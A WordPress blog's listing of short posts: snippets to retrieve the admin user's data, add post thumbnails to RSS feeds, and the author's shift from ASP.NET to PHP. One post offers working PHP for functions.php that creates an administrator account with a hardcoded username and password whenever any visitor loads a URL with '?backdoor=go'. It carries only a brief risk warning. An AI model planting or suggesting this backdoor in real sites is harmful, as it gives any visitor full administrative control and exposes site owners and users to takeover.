Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.

$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);

The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.

Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.

We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:

$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);

This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!

Popularity: 1% [?]

Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
	}

	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

Popularity: 2% [?]

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

Popularity: 7% [?]

By StrangeWork.com: As most of you know I am in the process of starting my own Web Development Company in New Jersey. Starting a company takes a lot of work, but of course I knew this going into it. Business is great and we are starting to grow!

I’ve decided to shift focus on my technologies track a little. I’ve always programmed with Microsoft technologies including classic ASP, ASP.NET, VB, SQL Server, etc. I’ve been developing dynamic websites with classic ASP for almost 8 years now and I still love that language. I use ASP.NET occasionally when the project calls for it, but I love scripting languages. I’ve decided to focus my efforts on PHP rather than ASP.NET.

Scripting has always come natural to me, so why focus on a more object-oriented language? Exactly, so from this point on I will be primarily developing in ASP and PHP. The logic is the same as ASP, just different syntax so the switch won’t be too dramatic.

Expect to see some sweet PHP applications rolling out in the coming months!

Popularity: 15% [?]